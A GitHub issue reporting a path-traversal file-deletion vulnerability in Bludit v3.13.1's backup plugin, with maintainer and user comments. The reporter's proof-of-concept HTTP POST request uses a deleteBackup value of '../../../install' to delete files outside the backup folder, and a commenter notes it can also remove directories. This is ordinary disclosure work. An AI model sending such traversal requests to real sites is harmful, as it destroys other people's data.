Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Arbitrary zip file deletion vulnerability in backup plugin #1246

Closed
zongdeiqianxing opened this issue Jul 31, 2020 · 6 comments
Closed

Arbitrary zip file deletion vulnerability in backup plugin #1246

zongdeiqianxing opened this issue Jul 31, 2020 · 6 comments

Comments

@zongdeiqianxing
Copy link

zongdeiqianxing commented Jul 31, 2020

bludit v3.13.1 has a arbitrary zip file deletion vulnerability in backup plugin .

1 put a 'install.zip' in root directory
image

2 replace cookie and tokenCSRF and repeat the post data .

POST /admin/configure-plugin/pluginBackup HTTP/1.1
Host: 10.150.10.170
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Connection: close
Referer: http://10.150.10.170/admin/configure-plugin/pluginBackup
Cookie: FreeCMS_loginName=admin; BLUDIT-KEY=bo3bijk7meenma4eg7r4qjnrr4
Upgrade-Insecure-Requests: 1

tokenCSRF=82d75f6e2e987037d9d31814c235966de4c41e3e&backupFile=&deleteBackup=../../../install

3 can see the install.zip had deleted .
image

@clickwork-git
Copy link
Contributor

Can you please explain the issue.

@zongdeiqianxing
Copy link
Author

image
File path is not filtered when deleting backup files in backup plugin .

@clickwork-git
Copy link
Contributor

Sorry, you still haven't explained the issue. Please look how the script works.

@zongdeiqianxing
Copy link
Author

it just is a post data . you also can use hackbar plugin in firefox to send post data 'tokenCSRF=82d75f6e2e987037d9d31814c235966de4c41e3e&backupFile=&deleteBackup=../../../install' , and you can replace deleteBackup‘s value to delete other zip files .

@ghost
Copy link

ghost commented Oct 1, 2020

Just looked into it. If php zip extension is enabled, you can delete arbitrary zips, otherwise you can delete arbitrary directories with this exploit.

So, if your bludit admin access is compromised, hacker can remove non bludit folders owned by the web server i.e other web directories/apps as well.

@dignajar
Copy link
Member

Hello, with the new version of Bludit v4.0 rc1, I would like to close the old Github issues. If you feel that your issue is not resolved in the latest version, create a new ticket.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

No branches or pull requests

3 participants